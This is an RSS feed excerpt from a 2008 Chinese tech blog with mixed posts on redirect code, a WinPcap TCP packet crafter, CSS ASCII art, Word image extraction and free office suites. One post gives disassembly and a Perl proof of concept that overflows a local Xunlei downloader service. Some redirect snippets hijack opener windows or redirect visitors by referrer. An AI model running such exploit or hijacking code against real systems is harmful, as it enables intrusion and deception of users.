      <wfw:commentRss><![CDATA[http://www.woidiy.com/blog/feed.asp?q=comment&id=498]]></wfw:commentRss>
    </item>
      
    <item>
      <title><![CDATA[四种网页跳转代码]]></title> 
      <link><![CDATA[http://www.woidiy.com/blog/article.asp?id=497]]></link> 
      <category><![CDATA[网海拾贝]]></category> 
      <author><![CDATA[nt_family <nt_family>]]></author> 
      <pubDate>Fri, 09 May 2008 09:16:36 +0800</pubDate> 
      <description><![CDATA[如果你要在服务器端跳转，可以这样：<br /><br />Response.Redirect(<a href="http://www.woidiy.com/blog/" title="http://www.woidiy.com/blog/" target="_blank">http://www.woidiy.com/blog/</a>)<br />Response.End<br /><br />如果你要在客户端跳转，可以这样：<br /><br />&lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&gt;<br />window.location=&quot;<a href="http://www.woidiy.com/blog/" title="http://www.woidiy.com/blog/" target="_blank">http://www.woidiy.com/blog/</a>&quot;;;<br />&lt;/script&gt;<br /><br />如果你要让页面显示几秒钟之后跳转，可以在html代码的&lt;head&gt;&lt;/head&gt;部分加上这样的代码：<br /><br />&lt;meta http-equiv=&quot;refresh&quot; content=&quot;3; url=http://www.woidiy.com/blog/&quot;&gt;<br />（3秒钟后自动跳转到www.517z.com）<br /><br />这种用来做广告很有效果。。<br />&lt;SCRIPT&gt;if(parent.window.opener) parent.window.opener.location=&#39;<a href="http://www.woidiy.com/blog/&amp;#39;;" title="http://www.woidiy.com/blog/&amp;#39;;" target="_blank">http://www.woidiy.com/blog/&amp;#39;;</a> &lt;/SCRIPT&gt;<br />&lt;script&gt;<br />var s=document.referrer<br />if(s.indexOf(&quot;baidu&quot;)&gt;0)self.location=&quot;<a href="http://www.woidiy.com/blog/" title="http://www.woidiy.com/blog/" target="_blank">http://www.woidiy.com/blog/</a>&quot;;<br />&lt;/script&gt;]]></description>
      <wfw:commentRss><![CDATA[http://www.woidiy.com/blog/feed.asp?q=comment&id=497]]></wfw:commentRss>
    </item>
      
    <item>
      <title><![CDATA[使用winpcap定制TCP包发送]]></title> 
      <link><![CDATA[http://www.woidiy.com/blog/article.asp?id=496]]></link> 
      <category><![CDATA[黑客发表]]></category> 
      <author><![CDATA[nt_family <nt_family>]]></author> 
      <pubDate>Thu, 08 May 2008 16:43:48 +0800</pubDate> 
      <description><![CDATA[by 云舒<br /><br />前些时候做DOS方面的测试，由于协议学得不够好，有些回应不记得，所以就首先想到用hping来定制一些包，看看远程主机的回应。结果下载的hping 死活都不发包，换了多个不同版本的winpcap都不行。一怒之下，决定自己写个简单的。首先想到的是perl来做，最后觉得一样要安装 winpcap还有很多别的模块，不如直接c来实现一下，来得更痛快。<br /><br />需要说明一下的是，在以太网头那里我故意偷懒了，没有获取本机的MAC地址而是写了个错误的。所以给内网用户发包的话，能发出去，只是你收不到回应了，发给外网就没这个问题，这是因为同交换机下面靠MAC地址来定位的。<br /><br />最后一点，这里所有的包，目的MAC地址都是写的MAC，通过网关把数据转发出去的。虽然同交换机下面可以直接通过MAC定位，但是我懒得判断，直接发送给网关再转发会比较简单。<div class="code">/* Code By yunshu, 2008-05-08, Make tcp packet to send to remote server<br />* I don&#39;t know which version of winpcap needed by hping, so I wrote this code.<br />* Under winpcap 4.0.2, Dev-CPP 4.9.9.2, windows xp professional sp2<br />*/<br /><br />#include &lt;stdio.h&gt;<br />#include &lt;string.h&gt;<br />#include &lt;winsock2.h&gt;<br />#include &lt;iphlpapi.h&gt;<br />#include &lt;unistd.h&gt;<br />#include &lt;pcap.h&gt;<br />#include &lt;remote-ext.h&gt;<br /><br />#define IP_PROTO 0x0800<br /><br />char LocalIP[20] = { 0 };<br />char InterfaceName[256] = { 0 };<br />char GatewayIP[20] = { 0 };<br />BYTE GatewayMac[6];<br /><br />typedef struct et_header<br />{<br />&nbsp;unsigned char eh_dst[6];<br />&nbsp;unsigned char eh_src[6];<br />&nbsp;unsigned short eh_type;<br />}ET_HEADER;<br /><br />typedef struct ip_hdr<br />{<br />&nbsp;unsigned char h_verlen;<br />&nbsp;unsigned char tos;<br />&nbsp;unsigned short total_len;<br />&nbsp;unsigned short ident;<br />&nbsp;unsigned short frag_and_flags;<br />&nbsp;unsigned char ttl;<br />&nbsp;unsigned char proto;<br />&nbsp;unsigned short checksum;<br />&nbsp;unsigned int sourceIP;<br />&nbsp;unsigned int destIP;<br />}IP_HEADER;<br /><br />typedef struct tcp_hdr<br />{<br />&nbsp;unsigned short th_sport;<br />&nbsp;unsigned short th_dport;<br />&nbsp;unsigned int th_seq;<br />&nbsp;unsigned int th_ack;<br />&nbsp;unsigned char th_lenres;<br />&nbsp;unsigned char th_flag;<br />&nbsp;unsigned short th_win;<br />&nbsp;unsigned short th_sum;<br />&nbsp;unsigned short th_urp;<br />}TCP_HEADER;<br /><br />typedef struct tsd_hdr<br />{<br />&nbsp;unsigned long saddr;<br />&nbsp;unsigned long daddr;<br />&nbsp;char mbz;<br />&nbsp;char ptcl;<br />&nbsp;unsigned short tcpl;<br />}PSD_HEADER;<br /><br />unsigned short CheckSum(unsigned short * buffer, int size)<br />{<br />&nbsp;unsigned long cksum = 0;<br /><br />&nbsp;while (size &gt; 1)<br />&nbsp;{<br />&nbsp;cksum += *buffer++;<br />&nbsp;size -= sizeof(unsigned short);<br />&nbsp;}<br />&nbsp;if (size)<br />&nbsp;{<br />&nbsp;cksum += *(unsigned char *) buffer;<br />&nbsp;}<br />&nbsp;cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);<br />&nbsp;cksum += (cksum &gt;&gt; 16);<br /><br />&nbsp;return (unsigned short) (~cksum);<br />}<br /><br />/*<br />void GetLocalIP( )<br />{<br />&nbsp;WORD wVersionRequested;<br />&nbsp;WSADATA wsaData;<br />&nbsp;char name[255];<br />&nbsp;PHOSTENT hostinfo;<br />&nbsp;<br />&nbsp;wVersionRequested = MAKEWORD( 2, 0 );<br />&nbsp;<br />&nbsp;if( WSAStartup( wVersionRequested, &amp;wsaData ) == 0 )<br />&nbsp;{<br />&nbsp;if( gethostname( name, sizeof(name) ) == 0 )<br />&nbsp;{<br />&nbsp;if( (hostinfo = gethostbyname(name) ) != NULL )<br />&nbsp;{<br />&nbsp;strcpy( LocalIP, inet_ntoa( *(struct in_addr*)*hostinfo-&gt;h_addr_list ) );<br />&nbsp;}<br />&nbsp;}<br />&nbsp;}<br />&nbsp;<br />&nbsp;WSACleanup( );<br />}<br />*/<br /><br />int GetDevices( )<br />{<br />&nbsp;pcap_if_t *alldevs;<br />&nbsp;pcap_if_t *d;<br />&nbsp;<br />&nbsp;int i = 0;<br />&nbsp;char errbuf[PCAP_ERRBUF_SIZE];<br />&nbsp;<br />&nbsp;/* 获取本地机器设备列表 */<br />&nbsp;if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL /* auth is not needed */, &amp;alldevs, errbuf) == -1)<br />&nbsp;{<br />&nbsp;fprintf(stderr,&quot;Error in pcap_findalldevs_ex: %s\n&quot;, errbuf);<br />&nbsp;exit(1);<br />&nbsp;}<br />&nbsp;<br />&nbsp;/* 打印列表 */<br />&nbsp;for( d = alldevs; d != NULL; d = d-&gt;next )<br />&nbsp;{<br />&nbsp;printf(&quot;%d. %s&quot;, ++i, d-&gt;name);<br />&nbsp;<br />&nbsp;if (d-&gt;description)<br />&nbsp;{<br />&nbsp;printf( &quot; (%s)&quot;, d-&gt;description );<br />&nbsp;}<br />&nbsp;<br />&nbsp;if( d-&gt;addresses != NULL )<br />&nbsp;{<br />&nbsp;if( d-&gt;addresses-&gt;addr-&gt;sa_family == AF_INET )<br />&nbsp;{<br />&nbsp;<br />&nbsp;printf( &quot;: %s\n&quot;, inet_ntoa( ((struct sockaddr_in *)d-&gt;addresses-&gt;addr)-&gt;sin_addr ) );<br />&nbsp;}<br />&nbsp;else<br />&nbsp;{<br />&nbsp;printf( &quot;\n&quot; );<br />&nbsp;}<br />&nbsp;}<br />&nbsp;else<br />&nbsp;{<br />&nbsp;printf(&quot; (No description available)\n&quot;);<br />&nbsp;}<br />&nbsp;}<br />&nbsp;<br />&nbsp;if (i == 0)<br />&nbsp;{<br />&nbsp;printf(&quot;\nNo interfaces found! Make sure WinPcap is installed.\n&quot;);<br />&nbsp;return -1;<br />&nbsp;}<br />&nbsp;<br />&nbsp;printf( &quot;\nPlease choose the index of your NetAdapter：&quot; );<br />&nbsp;int AdapterIndex = 1;<br />&nbsp;scanf( &quot;%d&quot;, &amp;AdapterIndex );<br />&nbsp;if( AdapterIndex &gt; i )<br />&nbsp;{<br />&nbsp;printf( &quot;网卡选错啦\n&quot; );<br />&nbsp;return -1;<br />&nbsp;}<br />&nbsp;<br />&nbsp;d = alldevs;<br />&nbsp;for( int index = 1; index &lt; AdapterIndex; index ++ )<br />&nbsp;{<br />&nbsp;d = d-&gt;next;<br />&nbsp;}<br />&nbsp;<br />&nbsp;if( d-&gt;name == NULL || d-&gt;addresses == NULL )<br />&nbsp;{<br />&nbsp;printf( &quot;网卡选错啦\n&quot; );<br />&nbsp;return -1;<br />&nbsp;}<br />&nbsp;<br />&nbsp;strcpy( InterfaceName, d-&gt;name );<br />&nbsp;strcpy( LocalIP, inet_ntoa( ((struct sockaddr_in *)d-&gt;addresses-&gt;addr)-&gt;sin_addr ) );<br />&nbsp;<br />&nbsp;/* 不再需要设备列表了，释放它 */<br />&nbsp;pcap_freealldevs(alldevs);<br />&nbsp;<br />&nbsp;return 1;<br />}<br /><br />int GetGateWayMac( )<br />{<br />&nbsp;PIP_ADAPTER_INFO AdapterInfo;<br />&nbsp;<br />&nbsp;ULONG OutBufLen = sizeof(IP_ADAPTER_INFO);<br />&nbsp;AdapterInfo = (IP_ADAPTER_INFO *)malloc(sizeof (IP_ADAPTER_INFO));<br />&nbsp;if( AdapterInfo == NULL )<br />&nbsp;{<br />&nbsp;printf(&quot;Error allocating memory needed to call GetAdaptersinfo\n&quot;);<br />&nbsp;return -1;<br />&nbsp;}<br /><br />&nbsp;if( GetAdaptersInfo( AdapterInfo, &amp;OutBufLen ) == ERROR_BUFFER_OVERFLOW )<br />&nbsp;{<br />&nbsp;free( AdapterInfo );<br />&nbsp;AdapterInfo = (IP_ADAPTER_INFO *)malloc( OutBufLen );<br />&nbsp;if( AdapterInfo == NULL )<br />&nbsp;{<br />&nbsp;printf(&quot;Error allocating memory needed to call GetAdaptersinfo\n&quot;);<br />&nbsp;return -1;<br />&nbsp;}<br />&nbsp;}<br /><br />&nbsp;if( GetAdaptersInfo( AdapterInfo, &amp;OutBufLen ) == NO_ERROR )<br />&nbsp;{<br />&nbsp;PIP_ADAPTER_INFO a = AdapterInfo;<br />&nbsp;BOOL Found = FALSE;<br />&nbsp;<br />&nbsp;while( a )<br />&nbsp;{<br />&nbsp;if( strcmp(a-&gt;IpAddressList.IpAddress.String, LocalIP) == 0 )<br />&nbsp;{<br />&nbsp;strcpy( GatewayIP, a-&gt;GatewayList.IpAddress.String );<br />&nbsp;Found = TRUE;<br />&nbsp;break;<br />&nbsp;}<br />&nbsp;a = a-&gt;Next;<br />&nbsp;}<br />&nbsp;if( !Found )<br />&nbsp;{<br />&nbsp;printf( &quot;Get gateway&#39;s ip error.\n&quot; );<br />&nbsp;free( AdapterInfo );<br />&nbsp;return -1;<br />&nbsp;}<br />&nbsp;else<br />&nbsp;{<br />&nbsp;free( AdapterInfo );<br />&nbsp;}<br />&nbsp;}<br />&nbsp;else<br />&nbsp;{<br />&nbsp;printf( &quot;Get gateway&#39;s ip error.\n&quot; );<br />&nbsp;free( AdapterInfo );<br />&nbsp;return -1;<br />&nbsp;}<br /><br />&nbsp;BYTE Mac[6];<br />&nbsp;ULONG MacLen = 6;<br />&nbsp;SendARP( inet_addr(GatewayIP), 0, (PULONG)&amp;Mac, &amp;MacLen );<br />&nbsp;memcpy( GatewayMac, Mac, MacLen );<br />&nbsp;<br />&nbsp;/*<br />&nbsp;for( int index = 0; index &lt; MacLen; index ++ )<br />&nbsp;{<br />&nbsp;printf( &quot;%d: %02x\n&quot;, index, Mac[index] );<br />&nbsp;}<br />&nbsp;printf( &quot;\n%d\n&quot;, MacLen );<br />&nbsp;*/<br />}<br /><br />void Usage( char *me )<br />{<br />&nbsp;printf( &quot;Make tcp package 0.1, code by yunshu\n&quot; );<br />&nbsp;printf( &quot;%s: targetip targetport [flag]\n&quot;, me );<br />&nbsp;printf( &quot;flag: \n&quot; );<br />&nbsp;printf( &quot; u|U set urg flag.\n&quot; );<br />&nbsp;printf( &quot; a|A set ack flag.\n&quot; );<br />&nbsp;printf( &quot; p|P set push flag.\n&quot; );<br />&nbsp;printf( &quot; r|R set rst flag.\n&quot; );<br />&nbsp;printf( &quot; s|S set syn flag.\n&quot; );<br />&nbsp;printf( &quot; f|F set fin flag.\n&quot; );<br />&nbsp;printf( &quot; default is syn flag, and you can use sa to set syn+ack, and more...\n&quot; );<br />}<br /><br />int main( int argc, char *argv[] )<br />{<br />&nbsp;ET_HEADER EtHeader;<br />&nbsp;IP_HEADER IpHeader;<br />&nbsp;TCP_HEADER TcpHeader;<br />&nbsp;PSD_HEADER PsdHeader;<br />&nbsp;u_char Buffer[sizeof(ET_HEADER) + sizeof(IP_HEADER) + sizeof(TCP_HEADER)] = { 0 };<br />&nbsp;<br />&nbsp;if( (argc != 3) &amp;&amp; (argc != 4) )<br />&nbsp;{<br />&nbsp;Usage( argv[0] );<br />&nbsp;exit( -1 );<br />&nbsp;}<br />&nbsp;<br />&nbsp;int Flag = 2;<br />&nbsp;if( argc == 4 )<br />&nbsp;{<br />&nbsp;Flag = 0;<br />&nbsp;if( strchr(argv[3], &#39;U&#39;) || strchr(argv[3], &#39;u&#39;) )<br />&nbsp;{<br />&nbsp;Flag = Flag | 32;<br />&nbsp;}<br />&nbsp;if( strchr(argv[3], &#39;A&#39;) || strchr(argv[3], &#39;a&#39;) )<br />&nbsp;{<br />&nbsp;Flag = Flag | 16;<br />&nbsp;}<br />&nbsp;if( strchr(argv[3], &#39;P&#39;) || strchr(argv[3], &#39;p&#39;) )<br />&nbsp;{<br />&nbsp;Flag = Flag | 8;<br />&nbsp;}<br />&nbsp;if( strchr(argv[3], &#39;R&#39;) || strchr(argv[3], &#39;r&#39;) )<br />&nbsp;{<br />&nbsp;Flag = Flag | 4;<br />&nbsp;}<br />&nbsp;if( strchr(argv[3], &#39;S&#39;) || strchr(argv[3], &#39;s&#39;) )<br />&nbsp;{<br />&nbsp;Flag = Flag | 2;<br />&nbsp;}<br />&nbsp;if( strchr(argv[3], &#39;F&#39;) || strchr(argv[3], &#39;f&#39;) )<br />&nbsp;{<br />&nbsp;Flag = Flag | 1;<br />&nbsp;}<br />&nbsp;}<br />&nbsp;<br />&nbsp;//GetLocalIP( );<br />&nbsp;if( -1 == GetDevices( ) )<br />&nbsp;{<br />&nbsp;exit( -1 );<br />&nbsp;}<br />&nbsp;<br />&nbsp;//printf( &quot;Adapter is %s, ip is %s\n&quot;, InterfaceName, LocalIP );<br />&nbsp;<br />&nbsp;if( -1 == GetGateWayMac( ) )<br />&nbsp;{<br />&nbsp;exit( -1 );<br />&nbsp;}<br />&nbsp;<br />&nbsp;//printf( &quot;Gateway IP is %s\n&quot;, GatewayIP );<br />&nbsp;//printf( &quot;Gateway Mac is %x\n&quot;, *GatewayMac );<br />&nbsp;<br />&nbsp;memcpy( EtHeader.eh_dst, GatewayMac, 6 );<br />&nbsp;memset( EtHeader.eh_src, 0xa, 6 );<br />&nbsp;EtHeader.eh_type = htons( IP_PROTO );<br />&nbsp;<br />&nbsp;IpHeader.h_verlen = (4&lt;&lt;4 | sizeof(IpHeader)/sizeof(unsigned int));<br />&nbsp;IpHeader.tos = 0;<br />&nbsp;IpHeader.total_len = htons(sizeof(IpHeader)+sizeof(TcpHeader));<br />&nbsp;IpHeader.ident = 1;<br />&nbsp;IpHeader.frag_and_flags = 0x40;<br />&nbsp;IpHeader.ttl = 128;<br />&nbsp;IpHeader.proto = IPPROTO_TCP;<br />&nbsp;IpHeader.checksum = 0;<br />&nbsp;IpHeader.sourceIP = inet_addr( LocalIP );<br />&nbsp;IpHeader.destIP = inet_addr( argv[1] );<br />&nbsp;<br />&nbsp;TcpHeader.th_sport = htons( rand()%60000 + 1024 );<br />&nbsp;TcpHeader.th_dport = htons( atoi(argv[2]) );<br />&nbsp;TcpHeader.th_seq = htonl( rand()%900000000 + 100000 );<br />&nbsp;TcpHeader.th_ack = 0;<br />&nbsp;TcpHeader.th_lenres = (sizeof(TcpHeader)/4&lt;&lt;4|0);<br />&nbsp;TcpHeader.th_flag = Flag;<br />&nbsp;TcpHeader.th_win = htons(512);<br />&nbsp;TcpHeader.th_sum = 0;<br />&nbsp;TcpHeader.th_urp = 0;<br />&nbsp;<br />&nbsp;PsdHeader.saddr = inet_addr( LocalIP );<br />&nbsp;PsdHeader.daddr = IpHeader.destIP;<br />&nbsp;PsdHeader.mbz = 0;<br />&nbsp;PsdHeader.ptcl = IPPROTO_TCP;<br />&nbsp;PsdHeader.tcpl = htons(sizeof(TcpHeader));<br />&nbsp;<br />&nbsp;memcpy( Buffer, &amp;PsdHeader, sizeof(PsdHeader) );<br />&nbsp;memcpy( Buffer + sizeof(PsdHeader), &amp;TcpHeader, sizeof(TcpHeader) );<br />&nbsp;TcpHeader.th_sum = CheckSum( (unsigned short *)Buffer, sizeof(PsdHeader) + sizeof(TcpHeader) );<br />&nbsp;<br />&nbsp;memset( Buffer, 0, sizeof(Buffer) );<br />&nbsp;memcpy( Buffer, &amp;IpHeader, sizeof(IpHeader) );<br />&nbsp;IpHeader.checksum = CheckSum( (unsigned short *)Buffer, sizeof(IpHeader) );<br />&nbsp;<br />&nbsp;memset( Buffer, 0, sizeof(Buffer) );<br />&nbsp;memcpy( Buffer, (void *)&amp;EtHeader, sizeof(ET_HEADER) );<br />&nbsp;memcpy( Buffer + sizeof(ET_HEADER), (void *)&amp;IpHeader, sizeof(IP_HEADER) );<br />&nbsp;memcpy( Buffer + sizeof(ET_HEADER) + sizeof(IP_HEADER), (void *)&amp;TcpHeader, sizeof(TCP_HEADER) );<br />&nbsp;<br />&nbsp;char errbuf[PCAP_ERRBUF_SIZE] = { 0 };<br />&nbsp;pcap_t *fp;<br />&nbsp;if ( (fp= pcap_open( InterfaceName, 100, PCAP_OPENFLAG_PROMISCUOUS, 100, NULL, errbuf ) ) == NULL )<br />&nbsp;{<br />&nbsp;fprintf(stderr,&quot;\nUnable to open the adapter. %s is not supported by WinPcap\n&quot;, InterfaceName );<br />&nbsp;return -1;<br />&nbsp;}<br />&nbsp;<br />&nbsp;if ( pcap_sendpacket( fp, Buffer, sizeof(Buffer) ) != 0 )<br />&nbsp;{<br />&nbsp;fprintf(stderr,&quot;\nError sending the packet: \n&quot;, pcap_geterr(fp));<br />&nbsp;return -1;<br />&nbsp;}<br />&nbsp;printf( &quot;send ok!\nData is:\n&quot; );<br />&nbsp;<br />&nbsp;for( int i = 0; i &lt; sizeof(Buffer); i ++ )<br />&nbsp;{<br />&nbsp;printf( &quot;%02x &quot;, Buffer );<br />&nbsp;}<br />&nbsp;<br />&nbsp;return 0;<br />} </div>]]></description>
      <wfw:commentRss><![CDATA[http://www.woidiy.com/blog/feed.asp?q=comment&id=496]]></wfw:commentRss>
    </item>
      
    <item>
      <title><![CDATA[基于CSS的ASCII艺术]]></title> 
      <link><![CDATA[http://www.woidiy.com/blog/article.asp?id=495]]></link> 
      <category><![CDATA[网海拾贝]]></category> 
      <author><![CDATA[nt_family <nt_family>]]></author> 
      <pubDate>Wed, 07 May 2008 16:29:41 +0800</pubDate> 
      <description><![CDATA[ASCII 艺术是一种使用计算机可打印字符（一般为ASCII码中的96个可打印字符）表现图形的一种技术，传统的 ASCII 艺术基于 HTML  代码，然而由于不同浏览器的差别，在一种浏览器下可以完美显示的 ASCII 艺术，到了别的浏览器就面目全非，Web2.0 时代，应该多在 CSS  上做文章，因为目前主流浏览器对 CSS 的支持都非常一致，使用 CSS 实现 ASCII 艺术可以更好地保持不同浏览器间的兼容。<br/><br/></p>
		<p>下面这个图很难想象是用 ASCII 艺术做出来的，当然为了简便，我使用的是图片，<a href="http://www.romancortes.com/blog/homer-css/">原始 ASCII 艺术版可在这里看到</a>。<br/> <br/><img altsrc="http://www.comsharp.com/Writable/Resource/_Random_/2008-05-05/css_ascii_art_1.gif" alt="" src="http://www.comsharp.com/Writable/Resource/_Random_/2008-05-05/css_ascii_art_1.gif" /><br/> <br/><a href="http://www.romancortes.com/blog/jpeg2css/">jpeg2css</a>&nbsp;是一个非常有趣的程序，你提供一副黑白的 JPG 图片给它，几秒种之内，可以为你生成一个  HTML 网页文件，你可以在该网页上看到和源 JPG 图片几乎一模一样的 ASCII 艺术图形，而且是基于 CSS 的，你不用担心该 ASCII  艺术在不同浏览器间的兼容问题。<br/> <br/><strong>更多基于 CSS 的 ASCII 艺术</strong> （<a href="http://www.romancortes.com/blog/bush-css/">CSS 原始版可以在这里看到</a>）<br/> <br/><img altsrc="http://www.comsharp.com/Writable/Resource/_Random_/2008-05-05/css_ascii_art_2.gif" alt="" src="http://www.comsharp.com/Writable/Resource/_Random_/2008-05-05/css_ascii_art_2.gif" /><br/> <br/><strong>jpeg2css 下载地址：<br/></strong><a href="http://www.romancortes.com/ficheros/jpeg2css.zip">http://www.romancortes.com/ficheros/jpeg2css.zip</a><br/> <br/>本文素材来自：<a href="http://www.romancortes.com/blog/tag/css/">http://www.romancortes.com/blog/tag/css/</a><br/><a href="http://www.comsharp.com/">COMSHARP CMS</a>编译<br/><br/>]]></description>
      <wfw:commentRss><![CDATA[http://www.woidiy.com/blog/feed.asp?q=comment&id=495]]></wfw:commentRss>
    </item>
      
    <item>
      <title><![CDATA[迅雷本地溢出POC]]></title> 
      <link><![CDATA[http://www.woidiy.com/blog/article.asp?id=494]]></link> 
      <category><![CDATA[网海拾贝]]></category> 
      <author><![CDATA[nt_family <nt_family>]]></author> 
      <pubDate>Wed, 07 May 2008 08:34:52 +0800</pubDate> 
      <description><![CDATA[以前一直在传迅雷还有0day，Activex的应该差不多了，但是也不敢怠慢，还是卸载之，今天丰初发来一URL，原来素一迅雷0day，看说明还是远程！感觉装了一个，看那个漏洞监听的端口<br />C:\&gt;netstat -na|find &quot;36897&quot;<br /> TCP    127.0.0.1:36897        0.0.0.0:0              LISTENING<br /><br />绑定的本地IP啊？！那就说明这个是不可以远程的，只能本地了。<br />......<br />23132CBE    68 B4C61323     push    2313C6B4                         ; ASCII &quot;savepath&quot;<br />23132CC3    57              push    edi<br />23132CC4    FFD6            call    esi<br />23132CC6    59              pop     ecx<br />23132CC7    84C0            test    al, al<br /><br />......<br /><br />23132CEF    85FF            test    edi, edi<br />23132CF1    74 02           je      short 23132CF5<br />23132CF3    8BCF            mov     ecx, edi<br />23132CF5    B8 D4C61323     mov     eax, 2313C6D4                    ; ASCII &quot;XLDAP&quot;<br />23132CFA    50              push    eax<br />23132CFB    52              push    edx<br />23132CFC    51              push    ecx<br />23132CFD    50              push    eax<br />23132CFE    8D85 5CFEFFFF   lea     eax, dword ptr [ebp-1A4]<br />23132D04    68 C0C61323     push    2313C6C0                         ; ASCII &quot;%s|%s|%s|%s&quot;<br />......<br /><br />根据上面可以分析出来这个端口接受数据的格式是XLDAP|A|B|XLDAP，A是方法，B是值。又偷懒看了下介绍，问题出在savepath方法上，那么构造数据就很简单了，POC如下：<br /><br /> #!/usr/bin/perl<br />use IO::Socket;<br /><br />if ($socket = IO::Socket::INET-&gt;new(PeerAddr =&gt; &quot;127.0.0.1&quot;,PeerPort =&gt; &quot;36897&quot;,Proto =&gt; &quot;TCP&quot;))<br />{<br />$exploit  = &quot;XLDAP|savepath|&quot;.<br />#    (&quot;A&quot; x 397).<br />     (&quot;A&quot; x 500).<br />     &quot;|XLDAP&quot;;<br /><br />       print $socket $exploit;<br />                 sleep(1);<br />                 close($socket);<br />}<br />else<br />{<br />                 print &quot;Cannot connect to localhost:36897 port\n&quot;;<br />}<br /><br />如果用python写exp的话你会很郁闷，因为py总是会给偶多出一个换行，就算使用[:-1]这种方法也没用，郁闷，目前不清楚是传递的过程还是print的时候，谁知道是什么原因？<br />23132D09    50              push    eax<br />23132D0A    FF15 54E51323   call    dword ptr [&lt;&amp;MSVCRT.sprintf&gt;]   ; crash<br />23132D10    8D85 5CFEFFFF   lea     eax, dword ptr [ebp-1A4]<br />就是在执行这步sprintf函数复制的时候导致crash。]]></description>
      <wfw:commentRss><![CDATA[http://www.woidiy.com/blog/feed.asp?q=comment&id=494]]></wfw:commentRss>
    </item>
      
    <item>
      <title><![CDATA[快速提取Word中的图片]]></title> 
      <link><![CDATA[http://www.woidiy.com/blog/article.asp?id=493]]></link> 
      <category><![CDATA[技术研究]]></category> 
      <author><![CDATA[nt_family <nt_family>]]></author> 
      <pubDate>Tue, 06 May 2008 12:26:08 +0800</pubDate> 
      <description><![CDATA[今天在做一个PPT，想到了一个素材，记得是在一个Word中，马上打开这个Word，和平常一样直接复制，奇怪是，我复制过去的是一个白底图片，只有一个大红X。<br /><br />这下把我郁闷了，咋就不能复制了？郁闷的我，把Wrod的图片选项打开看了又看，什么都没有啊。于是就把Word的选项打开看，刚打开文件，眼前一亮，看到了另存为网页，一个邪恶想法出现了。<br /><br />立马打开文件，另存为，把文件另存为了网页，到目录一看，多了一个文件名.file的文件夹，打开一看，HOHO，不都是这个Word文档中的图片，这以后可就又多了一个“盗版”的方法。<br /><br />另外，我还不知道那个word中的图片是怎么做成那样的，那位知道，给我留个言。<br /><br />点备案号边上的给我留言，或地址：<br /><a href="http://v3.tongji.cn.yahoo.com/note.html?unit_id=12713&amp;url=http%3A//www.woidiy.com/blog/default.asp" title="http://v3.tongji.cn.yahoo.com/note.html?unit_id=12713&amp;url=http%3A//www.woidiy.com/blog/default.asp" target="_blank">http://v3.tongji.cn.yahoo.com/note.html?unit_id=12713&amp;url=http%3A//www.woidiy.com/blog/default.asp</a>]]></description>
      <wfw:commentRss><![CDATA[http://www.woidiy.com/blog/feed.asp?q=comment&id=493]]></wfw:commentRss>
    </item>
      
    <item>
      <title><![CDATA[6大免费Office办公套件]]></title> 
      <link><![CDATA[http://www.woidiy.com/blog/article.asp?id=492]]></link> 
      <category><![CDATA[网海拾贝]]></category> 
      <author><![CDATA[nt_family <nt_family>]]></author> 
      <pubDate>Mon, 05 May 2008 14:56:33 +0800</pubDate> 
      <description><![CDATA[<p>微软的Office办公套件是市场上占有率最高的办公软件,可是这款商业软件价格昂贵,正版对于大多数国内电脑用户来说都无法承受.不过近些年来MS Office的竞争对手也越来越多,而且产品质量上也有长足的进步,许多在功能上还有可喜的创新.下面是比较流行的6大Office办公套件,包括在线和桌面两种类型.</p>

<p><strong>在线版免费办公套件</strong></p>
<p><a href="http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/google-docs-logo-thumb.png"><img width="60" height="60" align="left" src="http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/google-docs-logo-thumb-thumb.png" alt="google-docs-logo-thumb" /></a> <strong>1.</strong><a target="_blank" href="http://docs.google.com/" title="Google Docs"><strong>Google Docs</strong></a></p>

<p>Google的在线Office套件也许是MS Office最大的竞争对手,在Google前不久发布了Google Presentation之后,电子文档,电子表格和演示文稿三大套件悉数到齐,可谓一个里程碑.Google Docs也可以说是目前质量最好的在线Office套件.</p>
<p><a href="http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/soho-thumb.png"><img width="61" height="27" align="left" src="http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/soho-thumb-thumb.png" alt="soho-thumb" /></a> <strong>2.</strong><a target="_blank" href="http://www.zoho.com/" title="Zoho"><strong>Zoho</strong></a></p>
<p>Zoho是一个专注在线办公应用程序的网站,旗下的产品是几大在线办公软件提供商中最完整的一个.前不久还发布了Zoho DB,一个在线数据库管理软件.</p>
<p><strong><a href="http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/thinkfree-thumb.png"><img width="60" height="68" align="left" src="http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/thinkfree-thumb-thumb.png" alt="thinkfree-thumb" /></a> 3.</strong><a target="_blank" href="http://www.thinkfree.com/" title="ThinkFree"><strong>ThinkFree</strong></a></p>
<p>ThinkFree最大的特点是和MS Office的兼容性和界面的相似性.同时具有非常不错的协作功能.</p>

<p>&nbsp;</p>
<p><strong>桌面版免费办公套件</strong></p>
<p><strong><a href="http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/staroffice-thumb.png"><img width="59" height="31" align="left" src="http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/staroffice-thumb-thumb.png" alt="staroffice-thumb" /></a> 4.</strong><a target="_blank" href="http://www.sun.com/software/star/staroffice/index.jsp" title="StarOffice"><strong>StarOffice</strong></a></p>
<p>Sun出品的Office办公套件,能够通过Google Pack下载免费版本.StarOffice支持Windows,Linux和Solaris,Mac下需要下载StarOffice的师兄Open Office.</p>
<p><strong><a  href="http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/ibm-symphony-thumb.png"><img width="59" height="58" align="left" src="http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/ibm-symphony-thumb-thumb.png" alt="ibm-symphony-thumb" /></a> 5.</strong><a target="_blank" href="http://symphony.lotus.com/software/lotus/symphony/home.jspa" title="IBM Lotus Symphony"><strong>IBM Lotus Symphony</strong></a></p>
<p>IBM前不久发布的Office办公套件,针对个人和企业用户.拥有Office最常见的三大套件.</p>
<p>&nbsp;</p>
